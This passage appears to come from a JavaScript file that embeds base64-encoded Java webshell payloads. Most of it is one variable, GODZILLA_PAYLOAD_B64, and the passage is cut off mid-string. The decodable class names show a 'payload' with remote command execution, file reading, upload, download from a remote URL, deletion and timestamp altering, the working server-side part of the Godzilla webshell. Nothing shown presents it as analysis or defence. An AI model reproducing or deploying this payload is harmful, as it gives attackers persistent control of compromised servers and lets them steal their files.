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";
|
|
221
240
|
var GODZILLA_PAYLOAD_B64 = "yv66vgADAC0FaAcAAgEAB3BheWxvYWQHAAQBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAh0b0Jhc2U2NAEAAltDAQAMcGFyYW1ldGVyTWFwAQATTGphdmEvdXRpbC9IYXNoTWFwOwEACnNlc3Npb25NYXABAA5zZXJ2bGV0Q29udGV4dAEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADnNlcnZsZXRSZXF1ZXN0AQALaHR0cFNlc3Npb24BAAtyZXF1ZXN0RGF0YQEAAltCAQAMb3V0cHV0U3RyZWFtAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAB2NsYXNzJDABABFMamF2YS9sYW5nL0NsYXNzOwEACVN5bnRoZXRpYwEAB2NsYXNzJDEBAAdjbGFzcyQyAQAHY2xhc3MkMwEAB2NsYXNzJDQBAAdjbGFzcyQ1AQAHY2xhc3MkNgEAB2NsYXNzJDcBAAdjbGFzcyQ4AQAHY2xhc3MkOQEACGNsYXNzJDEwAQAIPGNsaW5pdD4BAAMoKVYBAARDb2RlCQABACMMAAUABgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABjxpbml0PgoAAwAoDAAmACAHACoBABFqYXZhL3V0aWwvSGFzaE1hcAoAKQAoCQABAC0MAAcACAEABHRoaXMBAAlMcGF5bG9hZDsBABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgoAAwAyDAAmADABAAZsb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAAWcBABUoW0IpTGphdmEvbGFuZy9DbGFzczsKAAMAOAwAOQA6AQALZGVmaW5lQ2xhc3MBABcoW0JJSSlMamF2YS9sYW5nL0NsYXNzOwEAAWIBAANydW4BAAQoKVtCCAA/AQANZXZhbENsYXNzTmFtZQoAAQBBDABCAEMBAANnZXQBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwgARQEACm1ldGhvZE5hbWUKAEcASQcASAEAEGphdmEvbGFuZy9PYmplY3QMAEoASwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwoATQBPBwBOAQAPamF2YS9sYW5nL0NsYXNzDABQAFEBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7CgBTAFUHAFQBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QMAFYASwEADWdldFJldHVyblR5cGUJAAEAWAwAEgATCAAPCgBNAFsMAFwAXQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7BwBfAQAeamF2YS9sYW5nL05vQ2xhc3NEZWZGb3VuZEVycm9yCgBhAGMHAGIBABNqYXZhL2xhbmcvVGhyb3dhYmxlDABkAGUBAApnZXRNZXNzYWdlAQAUKClMamF2YS9sYW5nL1N0cmluZzsKAF4AZwwAJgBoAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWCgBNAGoMAGsAbAEAEGlzQXNzaWduYWJsZUZyb20BABQoTGphdmEvbGFuZy9DbGFzczspWgoAUwBuDABvAHABAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAA8IAHMBACR0aGlzIG1ldGhvZCByZXR1cm5UeXBlIG5vdCBpcyBieXRlW10KAHUAdwcAdgEAEGphdmEvbGFuZy9TdHJpbmcMAHgAPQEACGdldEJ5dGVzCQABAHoMAAkACAoAKQB8DABCAH0BACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoATQB/DACAAIEBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7CgBHAIMMAIQAhQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgoARwCHDACIAGUBAAh0b1N0cmluZwgAigEABnJlc3VsdAgAjAEADnJldHVybiB0eXBlRXJyCACOAQARZXZhbENsYXNzIGlzIG51bGwIAJABAA5tZXRob2QgaXMgbnVsbAcAkgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtCgCRACgHAJUBABNqYXZhL2lvL1ByaW50U3RyZWFtCgCUAJcMACYAmAEAGShMamF2YS9pby9PdXRwdXRTdHJlYW07KVYKAGEAmgwAmwCcAQAPcHJpbnRTdGFja1RyYWNlAQAYKExqYXZhL2lvL1ByaW50U3RyZWFtOylWCgCUAJ4MAJ8AIAEABWZsdXNoCgCUAKEMAKIAIAEABWNsb3NlCgCRAKQMAKUAPQEAC3RvQnl0ZUFycmF5BwCnAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24BAAljbGFzc05hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAZtZXRob2QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEACWV2YWxDbGFzcwEABm9iamVjdAEADHJlc3VsdE9iamVjdAEAAWUBABVMamF2YS9sYW5nL1Rocm93YWJsZTsBAAZzdHJlYW0BAAtwcmludFN0cmVhbQEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAD2Zvcm1hdFBhcmFtZXRlcgoAKQC2DAC3ACABAAVjbGVhcggACQoAKQC6DAC7ALwBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwgADAkAAQC/DAAMAAsIAAoJAAEAwgwACgALCAANCQABAMUMAA0ACwkAAQDHDAAOAA8HAMkBABxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtCgDIAMsMACYAzAEABShbQilWBwDOAQAdamF2YS91dGlsL3ppcC9HWklQSW5wdXRTdHJlYW0KAM0A0AwAJgDRAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWCgDTANUHANQBACFqYXZhL3V0aWwvemlwL0luZmxhdGVySW5wdXRTdHJlYW0MANYA1wEABHJlYWQBAAMoKUkKAHUAywoA2gDcBwDbAQAZamF2YS9pby9GaWx0ZXJJbnB1dFN0cmVhbQwA1gDdAQAFKFtCKUkKAAEA3wwA4ADdAQAKYnl0ZXNUb0ludAoAzQDiDADWAOMBAAcoW0JJSSlJCgCRAOUMAOYAIAEABXJlc2V0CgCRAOgMAOkA6gEABXdyaXRlAQAEKEkpVgoAkQChCgDIAKEKAM0AoQcA7wEAE2phdmEvbGFuZy9FeGNlcHRpb24BAA1wYXJhbWV0ZXJCeXRlAQAHdFN0cmVhbQEAHkxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtOwEAAnRwAQADa2V5AQAEbGVuQgEABGRhdGEBAAtpbnB1dFN0cmVhbQEAH0xqYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbTsBAAF0AQABQgEAA2xlbgEAAUkBAApyZWFkT25lTGVuCgABAP8MAQAAhQEABmhhbmRsZQoAAQECDAEDAQQBAAVub0xvZwEAFShMamF2YS9sYW5nL09iamVjdDspVgEAA29iagkAAQEHDAAVABMIAQkBAB1qYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbQkAAQELDAAQABEIAQ0BACIlcy5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0CgABAQ8MARABEQEADHN1cHBvcnRDbGFzcwEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspWggBEwEAGSVzLnNlcnZsZXQuU2VydmxldFJlcXVlc3QIARUBABslcy5zZXJ2bGV0Lmh0dHAuSHR0cFNlc3Npb24KAAEBFwwBGAEEAQAUaGFuZGxlUGF5bG9hZENvbnRleHQIARoBAAxnZXRBdHRyaWJ1dGUJAAEBHAwAFgATCAEeAQAQamF2YS5sYW5nLlN0cmluZwgBIAEACnBhcmFtZXRlcnMKAAEBIgwBIwEkAQASZ2V0TWV0aG9kQW5kSW52b2tlAQBdKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAKcmV0Vk9iamVjdAgBJwEACmdldFJlcXVlc3QKAAEBKQwBKgErAQAQZ2V0TWV0aG9kQnlDbGFzcwEAUShMamF2YS9sYW5nL0NsYXNzO0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwgBLQEAEWdldFNlcnZsZXRDb250ZXh0CAEvAQAKZ2V0U2Vzc2lvbgEAEGdldFJlcXVlc3RNZXRob2QBABdnZXRTZXJ2bGV0Q29udGV4dE1ldGhvZAEAEGdldFNlc3Npb25NZXRob2QIATQBAAVqYXZheAoAdQE2DAE3ATgBAAZmb3JtYXQBADkoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZzsKAAEBOgwASgBdCAE8AQAHamFrYXJ0YQEAD2NsYXNzTmFtZVN0cmluZwEAA3JldAEAAVoBAAFjCgABAUIMAUMAIAEADmluaXRTZXNzaW9uTWFwBwFFAQAeamF2YS91dGlsL3ppcC9HWklQT3V0cHV0U3RyZWFtCgFEAJcKAAEBSAwAtAAgCAFKAQAMZXZhbE5leHREYXRhCgABAUwMADwAPQoBTgFQBwFPAQAaamF2YS9pby9GaWx0ZXJPdXRwdXRTdHJlYW0MAOkAzAoBUgChBwFTAQAiamF2YS91dGlsL3ppcC9EZWZsYXRlck91dHB1dFN0cmVhbQgBVQEAFG91dHB1dFN0cmVhbSBpcyBudWxsAQAMcmV0dXJuU3RyaW5nAQAQZ3ppcE91dHB1dFN0cmVhbQEAIExqYXZhL3V0aWwvemlwL0daSVBPdXRwdXRTdHJlYW07CgABAVoMAVsBXAEAE2dldFNlc3Npb25BdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwoAAQFeDAFfAWABABNzZXRTZXNzaW9uQXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAMZ2V0Qnl0ZUFycmF5AQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEABHRlc3QIAWYBAAJvawEAB2dldEZpbGUIAWkBAAdkaXJOYW1lCgB1AWsMAWwAZQEABHRyaW0KAHUAKAcBbwEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIKAW4AKAcBcgEADGphdmEvaW8vRmlsZQoBcQBnCgFxAXUMAXYBdwEAD2dldEFic29sdXRlRmlsZQEAECgpTGphdmEvaW8vRmlsZTsKAW4BeQwBegF7AQAGYXBwZW5kAQAsKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsIAX0BAAEvCgFuAX8MAXoBgAEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7CgFuAIcKAXEBgwwBhAGFAQAGZXhpc3RzAQADKClaCgFxAYcMAYgBiQEACWxpc3RGaWxlcwEAESgpW0xqYXZhL2lvL0ZpbGU7CgB1AYsMAYwBjQEAB3ZhbHVlT2YBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwoBbgBnCAGQAQABCgoBcQGSDAGTAGUBAAdnZXROYW1lCAGVAQABCQoBcQGXDAGYAYUBAAtpc0RpcmVjdG9yeQgBmgEAATAIAZwBAAExBwGeAQAaamF2YS90ZXh0L1NpbXBsZURhdGVGb3JtYXQIAaABABN5eXl5LU1NLWRkIEhIOm1tOnNzCgGdAGcHAaMBAA5qYXZhL3V0aWwvRGF0ZQoBcQGlDAGmAacBAAxsYXN0TW9kaWZpZWQBAAMoKUoKAaIBqQwAJgGqAQAEKEopVgoBrAGuBwGtAQAUamF2YS90ZXh0L0RhdGVGb3JtYXQMATcBrwEAJChMamF2YS91dGlsL0RhdGU7KUxqYXZhL2xhbmcvU3RyaW5nOwoBcQGxDAGyAacBAAZsZW5ndGgKAbQBtgcBtQEAEWphdmEvbGFuZy9JbnRlZ2VyDACIAbcBABUoSSlMamF2YS9sYW5nL1N0cmluZzsKAXEBuQwBugGFAQAHY2FuUmVhZAgBvAEAAVIIAb4BAAAKAXEBwAwBwQGFAQAIY2FuV3JpdGUIAcMBAAFXCQABAcUMABcAEwgBxwEADGphdmEuaW8uRmlsZQgByQEACmNhbkV4ZWN1dGUKAXEBywwByQGFCAHNAQABWAoAdQHPDAGyANcIAdEBAAFGCAHTAQASZGlyIGRvZXMgbm90IGV4aXN0CAHVAQAcZGlyIGRvZXMgbm90IGV4aXN0IGVyck1zZzolcwgB1wEAFE5vIHBhcmFtZXRlciBkaXJOYW1lAQAGYnVmZmVyAQAEZmlsZQEADkxqYXZhL2lvL0ZpbGU7AQAKY3VycmVudERpcgEADmN1cnJlbnREaXJGaWxlAQAFZmlsZXMBAA9bTGphdmEvaW8vRmlsZTsBAAlmaWxlU3RhdGUBAAFpAQAMbGlzdEZpbGVSb290CgFxAeMMAeQBiQEACWxpc3RSb290cwoBcQHmDAHnAGUBAAdnZXRQYXRoCAHpAQABOwEADmZpbGVSZW1vdGVEb3duCAHsAQADdXJsCAHuAQAIc2F2ZUZpbGUHAfABAAxqYXZhL25ldC9VUkwKAe8AZwoB7wHzDAH0AfUBAApvcGVuU3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsHAfcBABhqYXZhL2lvL0ZpbGVPdXRwdXRTdHJlYW0KAfYAZwoB9gH6DADpAfsBAAcoW0JJSSlWCgH9ANwHAf4BABNqYXZhL2lvL0lucHV0U3RyZWFtCgIAAJ4HAgEBABRqYXZhL2lvL091dHB1dFN0cmVhbQoB9gChCgH9AKEIAgUBAAclcyA6ICVzCgBNAZIIAggBABd1cmwgb3Igc2F2ZUZpbGUgaXMgbnVsbAcCCgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpMamF2YS9pby9GaWxlT3V0cHV0U3RyZWFtOwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAB3JlYWROdW0BAAJlMQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEAC3NldEZpbGVBdHRyCAISAQAEdHlwZQgCFAEABGF0dHIIAhYBAAhmaWxlTmFtZQgCGAEABE51bGwIAhoBAA1maWxlQmFzaWNBdHRyCgB1AIMIAh0BAAtzZXRXcml0YWJsZQkCHwIhBwIgAQARamF2YS9sYW5nL0Jvb2xlYW4MAiIAEwEABFRZUEUKAHUCJAwCJQImAQAHaW5kZXhPZgEAFShMamF2YS9sYW5nL1N0cmluZzspSQoBcQIoDAIpAioBAAtzZXRSZWFkYWJsZQEABChaKVoKAXECLAwCHQIqCgFxAi4MAi8CKgEADXNldEV4ZWN1dGFibGUIAjEBAB1KYXZhIHZlcnNpb24gaXMgbGVzcyB0aGFuIDEuNggCMwEADGZpbGVUaW1lQXR0cggCNQEAD3NldExhc3RNb2RpZmllZAkCNwIhBwI4AQAOamF2YS9sYW5nL0xvbmcHAjoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgoCOQAoCgI5Aj0MAXoCPgEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwoCOQHPCgJBAkMHAkIBABBqYXZhL3V0aWwvQXJyYXlzDAJEAkUBAARmaWxsAQAGKFtDQylWCgI5AkcMAXoCSAEAHShbQylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7CgGiAkoMAksBpwEAB2dldFRpbWUKAjkAhwoCNwJODAJPAlABAAlwYXJzZUxvbmcBABUoTGphdmEvbGFuZy9TdHJpbmc7KUoKAXECUgwCNQJTAQAEKEopWggCVQEAE2phdmEubmlvLmZpbGUuUGF0aHMIAlcBAC5qYXZhLm5pby5maWxlLmF0dHJpYnV0ZS5CYXNpY0ZpbGVBdHRyaWJ1dGVWaWV3CAJZAQATamF2YS5uaW8uZmlsZS5GaWxlcwoCWwJdBwJcAQATamF2YS9uaW8vZmlsZS9QYXRocwwAQgJeAQA7KExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbmlvL2ZpbGUvUGF0aDsJAAECYAwAGAATBwJiAQAYamF2YS9uaW8vZmlsZS9MaW5rT3B0aW9uCgJkAmYHAmUBABNqYXZhL25pby9maWxlL0ZpbGVzDAJnAmgBABRnZXRGaWxlQXR0cmlidXRlVmlldwEAbShMamF2YS9uaW8vZmlsZS9QYXRoO0xqYXZhL2xhbmcvQ2xhc3M7W0xqYXZhL25pby9maWxlL0xpbmtPcHRpb247KUxqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlQXR0cmlidXRlVmlldzsHAmoBAC5qYXZhL25pby9maWxlL2F0dHJpYnV0ZS9CYXNpY0ZpbGVBdHRyaWJ1dGVWaWV3CgJsAm4HAm0BACBqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZQwCbwJwAQAKZnJvbU1pbGxpcwEAJShKKUxqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZTsLAmkCcgwCcwJ0AQAIc2V0VGltZXMBAGkoTGphdmEvbmlvL2ZpbGUvYXR0cmlidXRlL0ZpbGVUaW1lO0xqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZTtMamF2YS9uaW8vZmlsZS9hdHRyaWJ1dGUvRmlsZVRpbWU7KVYIAnYBAB1KYXZhIHZlcnNpb24gaXMgbGVzcyB0aGFuIDEuMggCeAEADW5vIEV4Y3V0ZVR5cGUIAnoBABNFeGNlcHRpb24gZXJyTXNnOiVzCAJ8AQAgdHlwZSBvciBhdHRyIG9yIGZpbGVOYW1lIGlzIG51bGwBAARkYXRlAQAQTGphdmEvdXRpbC9EYXRlOwEAB2J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQACY3MBAAduaW9GaWxlAQAbYmFzaWNGaWxlQXR0cmlidXRlVmlld0NsYXNzAQAKZmlsZXNDbGFzcwEADWF0dHJpYnV0ZVZpZXcBADBMamF2YS9uaW8vZmlsZS9hdHRyaWJ1dGUvQmFzaWNGaWxlQXR0cmlidXRlVmlldzsBAAhyZWFkRmlsZQoBcQKJDAKKAYUBAAZpc0ZpbGUHAowBABdqYXZhL2lvL0ZpbGVJbnB1dFN0cmVhbQoCiwKODAAmAo8BABEoTGphdmEvaW8vRmlsZTspVgoCiwDiCgKLAKEDADAAAAoCiwDcCgKVApcHApYBABBqYXZhL2xhbmcvU3lzdGVtDAKYApkBAAlhcnJheWNvcHkBACooTGphdmEvbGFuZy9PYmplY3Q7SUxqYXZhL2xhbmcvT2JqZWN0O0lJKVYIApsBABNmaWxlIGRvZXMgbm90IGV4aXN0CAKdAQAVTm8gcGFyYW1ldGVyIGZpbGVOYW1lAQAPZmlsZUlucHV0U3RyZWFtAQAZTGphdmEvaW8vRmlsZUlucHV0U3RyZWFtOwEAB3RlbURhdGEBAAdyZWFkTGVuAQAKdXBsb2FkRmlsZQgCpAEACWZpbGVWYWx1ZQoAAQKmDAFiAWMKAXECqAwCqQGFAQANY3JlYXRlTmV3RmlsZQoB9gKOCgH2AVAIAq0BACNObyBwYXJhbWV0ZXIgZmlsZU5hbWUgYW5kIGZpbGVWYWx1ZQEAEGZpbGVPdXRwdXRTdHJlYW0BAAduZXdGaWxlCAKxAQAEZmFpbAEABm5ld0RpcgoBcQK0DAK1AYUBAAZta2RpcnMBAApkZWxldGVGaWxlCgABArgMArkCjwEAC2RlbGV0ZUZpbGVzAQAIbW92ZUZpbGUIArwBAAtzcmNGaWxlTmFtZQgCvgEADGRlc3RGaWxlTmFtZQoBcQLADALBAsIBAAhyZW5hbWVUbwEAEShMamF2YS9pby9GaWxlOylaCALEAQAZVGhlIHRhcmdldCBkb2VzIG5vdCBleGlzdAgCxgEAJU5vIHBhcmFtZXRlciBzcmNGaWxlTmFtZSxkZXN0RmlsZU5hbWUBAAhjb3B5RmlsZQgCyQEAKlRoZSB0YXJnZXQgZG9lcyBub3QgZXhpc3Qgb3IgaXMgbm90IGEgZmlsZQEAB3NyY0ZpbGUBAAhkZXN0RmlsZQEAB2luY2x1ZGUIAs4BAAdiaW5Db2RlCALQAQAIY29kZU5hbWUKAE0C0gwC0wLUAQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7CgABADIKAAEC1wwANQA2CALZAQAdTm8gcGFyYW1ldGVyIGJpbkNvZGUsY29kZU5hbWUBAAZtb2R1bGUBAAlrZXlTdHJpbmcIAt0BAAxzZXRBdHRyaWJ1dGUJAAEC3wwAGQATCALhAQAQamF2YS5sYW5nLk9iamVjdAEABXZhbHVlAQALZXhlY0NvbW1hbmQIAuUBAAlhcmdzQ291bnQHAucBABNqYXZhL3V0aWwvQXJyYXlMaXN0CgLmACgKAbQC6gwC6wImAQAIcGFyc2VJbnQIAu0BAAZhcmctJWQKAbQC7wwAJgDqCgLmAvEMAvIAhQEAA2FkZAoC5gL0DAL1ANcBAARzaXplCgLmAvcMAEIC+AEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwoC+gL8BwL7AQARamF2YS9sYW5nL1J1bnRpbWUMAv0C/gEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsKAuYDAAwDAQMCAQAHdG9BcnJheQEAKChbTGphdmEvbGFuZy9PYmplY3Q7KVtMamF2YS9sYW5nL09iamVjdDsHAwQBABNbTGphdmEvbGFuZy9TdHJpbmc7CgL6AwYMAwcDCAEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7CAMKAQANYXJnc0NvdW50IDw9MAgDDAEAF1VuYWJsZSB0byBzdGFydCBwcm9jZXNzCgMOAxAHAw8BABFqYXZhL2xhbmcvUHJvY2VzcwwDEQH1AQAOZ2V0SW5wdXRTdHJlYW0KAw4DEwwDFAH1AQAOZ2V0RXJyb3JTdHJlYW0KAJEC7woAkQH6CAMYAQAZTm8gcGFyYW1ldGVyIGFyZ3NDb3VudFN0cgEADGFyZ3NDb3VudFN0cgEAB3Byb2Nlc3MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAIYXJnc0xpc3QBABVMamF2YS91dGlsL0FycmF5TGlzdDsBAAN2YWwBAAhjbWRhcnJheQEAEGVycm9ySW5wdXRTdHJlYW0BAAltZW1TdHJlYW0BAARidWZmAQANZ2V0QmFzaWNzSW5mbwoClQMlDAMmAycBAA1nZXRQcm9wZXJ0aWVzAQAYKClMamF2YS91dGlsL1Byb3BlcnRpZXM7CgMpAysHAyoBABNqYXZhL3V0aWwvSGFzaHRhYmxlDAMsAy0BAARrZXlzAQAZKClMamF2YS91dGlsL0VudW1lcmF0aW9uOwgDLwEAC0ZpbGVSb290IDogCgABAzEMAeEAZQgDMwEADUN1cnJlbnREaXIgOiAIAzUBAA5DdXJyZW50VXNlciA6IAgDNwEACXVzZXIubmFtZQoClQM5DAM6AEMBAAtnZXRQcm9wZXJ0eQgDPAEADlByb2Nlc3NBcmNoIDogCAM+AQATc3VuLmFyY2guZGF0YS5tb2RlbAgDQAEADmphdmE